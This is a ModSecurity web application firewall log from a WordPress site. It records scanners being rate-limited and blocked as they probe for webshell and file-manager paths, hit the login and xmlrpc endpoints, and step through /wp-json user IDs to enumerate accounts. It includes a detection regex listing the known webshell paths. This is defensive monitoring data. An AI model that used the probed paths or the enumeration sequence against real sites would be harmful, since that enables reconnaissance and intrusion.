[Sun Jan 18 18:53:05.035062 2026] [:error] [pid 33494:tid 33518] [client 20.2.112.127:3828] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aWy7kbxmLR_50TtKxDIL0gAAARQ"]
[Sun Jan 18 18:53:05.268905 2026] [:error] [pid 33494:tid 33503] [client 20.2.112.127:3830] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aWy7kbxmLR_50TtKxDIL0wAAAQU"]
[Sun Jan 18 18:53:05.507342 2026] [:error] [pid 33494:tid 33500] [client 20.2.112.127:3842] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "aWy7kbxmLR_50TtKxDIL1AAAAQI"]
[Sun Jan 18 18:53:05.740742 2026] [:error] [pid 12925:tid 13004] [client 20.2.112.127:3833] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "aWy7kfsBL-4pnmSbzihIJgAAAJA"]
[Sun Jan 18 18:53:05.985120 2026] [:error] [pid 37885:tid 37892] [client 20.2.112.127:3715] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "aWy7kYIjOL7XA82H72V04gAAAUQ"]
[Sun Jan 18 18:53:06.218609 2026] [:error] [pid 13034:tid 13051] [client 20.2.112.127:3723] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "aWy7ksRGpUu1E8cmbmiKoQAAAM0"]
[Sun Jan 18 18:53:06.452243 2026] [:error] [pid 12925:tid 12989] [client 20.2.112.127:3900] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aWy7kvsBL-4pnmSbzihIKAAAAIE"]
[Sun Jan 18 18:53:06.687054 2026] [:error] [pid 12923:tid 12940] [client 20.2.112.127:3924] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aWy7kusWURrrC-4Rx5J6TQAAAAg"]
[Sun Jan 18 18:53:06.920327 2026] [:error] [pid 37885:tid 37911] [client 20.2.112.127:3750] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aWy7koIjOL7XA82H72V04wAAAVc"]
[Sun Jan 18 18:53:07.153590 2026] [:error] [pid 12923:tid 12934] [client 20.2.112.127:3859] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aWy7k-sWURrrC-4Rx5J6TwAAAAI"]
[Sun Jan 18 18:53:07.387076 2026] [:error] [pid 37885:tid 37896] [client 20.2.112.127:3875] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "aWy7k4IjOL7XA82H72V05QAAAUg"]
[Sun Jan 18 18:53:07.620191 2026] [:error] [pid 13034:tid 13061] [client 20.2.112.127:3884] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "aWy7k8RGpUu1E8cmbmiKowAAANc"]
[Sun Jan 18 18:53:07.853285 2026] [:error] [pid 12925:tid 13005] [client 20.2.112.127:3878] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "aWy7k_sBL-4pnmSbzihILQAAAJE"]
[Sun Jan 18 18:53:08.086648 2026] [:error] [pid 37885:tid 37902] [client 20.2.112.127:3889] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "aWy7lIIjOL7XA82H72V05wAAAU4"]
[Sun Jan 18 18:53:08.321337 2026] [:error] [pid 12923:tid 12937] [client 20.2.112.127:3784] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10.php"] [unique_id "aWy7lOsWURrrC-4Rx5J6VAAAAAU"]
[Sun Jan 18 18:53:08.568332 2026] [:error] [pid 12924:tid 12973] [client 20.2.112.127:3906] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10.php"] [unique_id "aWy7lCuv3PUo9LR6V6YlLAAAAE0"]
[Sun Jan 18 18:53:08.803690 2026] [:error] [pid 12923:tid 12939] [client 20.2.112.127:3782] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10.php"] [unique_id "aWy7lOsWURrrC-4Rx5J6VQAAAAc"]
[Sun Jan 18 18:53:09.044850 2026] [:error] [pid 33494:tid 33513] [client 20.2.112.127:3724] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10.php"] [unique_id "aWy7lbxmLR_50TtKxDIL2gAAAQ8"]
[Sun Jan 18 18:53:09.278911 2026] [:error] [pid 12923:tid 12944] [client 20.2.112.127:10372] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/angie712.php"] [unique_id "aWy7lesWURrrC-4Rx5J6VwAAAAw"]
[Sun Jan 18 18:53:09.513121 2026] [:error] [pid 12924:tid 12975] [client 20.2.112.127:3863] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/angie712.php"] [unique_id "aWy7lSuv3PUo9LR6V6YlLwAAAE8"]
[Sun Jan 18 18:53:09.746018 2026] [:error] [pid 12925:tid 12990] [client 20.2.112.127:3648] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/angie712.php"] [unique_id "aWy7lfsBL-4pnmSbzihILwAAAII"]
[Sun Jan 18 18:53:09.979492 2026] [:error] [pid 33494:tid 33520] [client 20.2.112.127:3837] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/angie712.php"] [unique_id "aWy7lbxmLR_50TtKxDIL3QAAARY"]
[Sun Jan 18 18:53:10.212085 2026] [:error] [pid 12924:tid 12978] [client 20.2.112.127:3813] [client 20.2.112.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aWy7liuv3PUo9LR6V6YlMAAAAFI"]
[Sun Jan 18 19:04:47.059986 2026] [:error] [pid 37885:tid 37899] [client 212.38.94.93:39634] [client 212.38.94.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.38.94.93, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWy-T4IjOL7XA82H72V5QwAAAUs"]
[Sun Jan 18 20:11:58.981273 2026] [:error] [pid 37885:tid 37905] [client 35.243.252.254:54412] [client 35.243.252.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.243.252.254, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWzODoIjOL7XA82H72WTAQAAAVE"]
[Sun Jan 18 20:12:02.119917 2026] [:error] [pid 37885:tid 37909] [client 35.243.252.254:54412] [client 35.243.252.254] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aWzOEoIjOL7XA82H72WTCQAAAVU"]
[Sun Jan 18 20:12:04.536705 2026] [:error] [pid 37885:tid 37907] [client 35.243.252.254:54412] [client 35.243.252.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.243.252.254, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWzOFIIjOL7XA82H72WTEQAAAVM"]
[Sun Jan 18 20:12:53.280181 2026] [:error] [pid 12925:tid 12994] [client 8.219.244.135:45484] [client 8.219.244.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 8.219.244.135, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWzORfsBL-4pnmSbzihazwAAAIY"]
[Sun Jan 18 20:59:38.175384 2026] [:error] [pid 12925:tid 13001] [client 107.189.29.166:46303] [client 107.189.29.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.29.166, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWzZOvsBL-4pnmSbzihjfAAAAI0"], referer: http://www.google.com.hk
[Sun Jan 18 21:00:25.086156 2026] [:error] [pid 13034:tid 13058] [client 107.189.29.166:59672] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aWzZacRGpUu1E8cmbmis2AAAANQ"]
[Sun Jan 18 21:27:55.832591 2026] [:error] [pid 12925:tid 13002] [client 160.250.186.233:52874] [client 160.250.186.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.250.186.233, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWzf2_sBL-4pnmSbzihoAAAAAI4"]
[Sun Jan 18 21:39:34.117266 2026] [:error] [pid 12925:tid 12994] [client 107.189.29.166:14350] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/1"] [unique_id "aWzilvsBL-4pnmSbzihp3AAAAIY"]
[Sun Jan 18 21:40:12.563392 2026] [:error] [pid 11710:tid 11782] [client 107.189.29.166:54894] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/2"] [unique_id "aWzivGCouWwzZ0YcmFZhXQAAAw4"]
[Sun Jan 18 21:41:19.066829 2026] [:error] [pid 11711:tid 11803] [client 107.189.29.166:30164] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/3"] [unique_id "aWzi_-tTMvs-MBCRKgc26gAAA0g"]
[Sun Jan 18 21:42:06.424296 2026] [:error] [pid 13034:tid 13059] [client 107.189.29.166:7720] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/4"] [unique_id "aWzjLsRGpUu1E8cmbmizcAAAANU"]
[Sun Jan 18 21:42:17.913979 2026] [:error] [pid 11711:tid 11795] [client 107.189.29.166:11689] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/5"] [unique_id "aWzjOetTMvs-MBCRKgc3RgAAA0A"]
[Sun Jan 18 21:42:29.052834 2026] [:error] [pid 33494:tid 33521] [client 107.189.29.166:52992] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/6"] [unique_id "aWzjRbxmLR_50TtKxDI2EAAAARc"]
[Sun Jan 18 21:42:51.677347 2026] [:error] [pid 13034:tid 13051] [client 107.189.29.166:60695] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/7"] [unique_id "aWzjW8RGpUu1E8cmbmizhgAAAM0"]
[Sun Jan 18 21:43:13.405786 2026] [:error] [pid 12925:tid 12990] [client 107.189.29.166:44595] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/8"] [unique_id "aWzjcfsBL-4pnmSbzihqRQAAAII"]
[Sun Jan 18 21:43:22.940374 2026] [:error] [pid 12923:tid 12955] [client 107.189.29.166:25456] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/9"] [unique_id "aWzjeusWURrrC-4Rx5KceAAAABc"]
[Sun Jan 18 21:43:46.217640 2026] [:error] [pid 11711:tid 11802] [client 107.189.29.166:53160] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/10"] [unique_id "aWzjkutTMvs-MBCRKgc3fAAAA0c"]
[Sun Jan 18 21:44:28.198512 2026] [:error] [pid 7225:tid 7231] [client 107.189.29.166:8328] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/11"] [unique_id "aWzjvBerEBx_0YV4eGM8AAAAAYQ"]
[Sun Jan 18 21:45:24.615975 2026] [:error] [pid 11710:tid 11787] [client 107.189.29.166:28137] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/12"] [unique_id "aWzj9GCouWwzZ0YcmFZiUAAAAxM"]
[Sun Jan 18 21:46:19.227319 2026] [:error] [pid 11711:tid 11812] [client 107.189.29.166:64613] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/13"] [unique_id "aWzkK-tTMvs-MBCRKgc4XQAAA1E"]
[Sun Jan 18 21:47:15.463770 2026] [:error] [pid 11620:tid 11624] [client 107.189.29.166:60984] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/14"] [unique_id "aWzkY2CcXLNx7aML8kE4oQAAAcI"]
[Sun Jan 18 21:47:52.613631 2026] [:error] [pid 11710:tid 11776] [client 107.189.29.166:8464] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/15"] [unique_id "aWzkiGCouWwzZ0YcmFZjLgAAAwg"]
[Sun Jan 18 21:48:33.134933 2026] [:error] [pid 13034:tid 13036] [client 107.189.29.166:22768] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/16"] [unique_id "aWzkscRGpUu1E8cmbmi0kgAAAMA"]
[Sun Jan 18 21:48:52.294354 2026] [:error] [pid 11711:tid 11804] [client 107.189.29.166:28738] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/17"] [unique_id "aWzkxOtTMvs-MBCRKgc5DAAAA0k"]
[Sun Jan 18 21:49:02.079976 2026] [:error] [pid 12923:tid 12935] [client 107.189.29.166:32620] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/18"] [unique_id "aWzkzusWURrrC-4Rx5KdpQAAAAM"]
[Sun Jan 18 21:49:20.574998 2026] [:error] [pid 11620:tid 11628] [client 107.189.29.166:39737] [client 107.189.29.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/19"] [unique_id "aWzk4GCcXLNx7aML8kE49gAAAcY"]
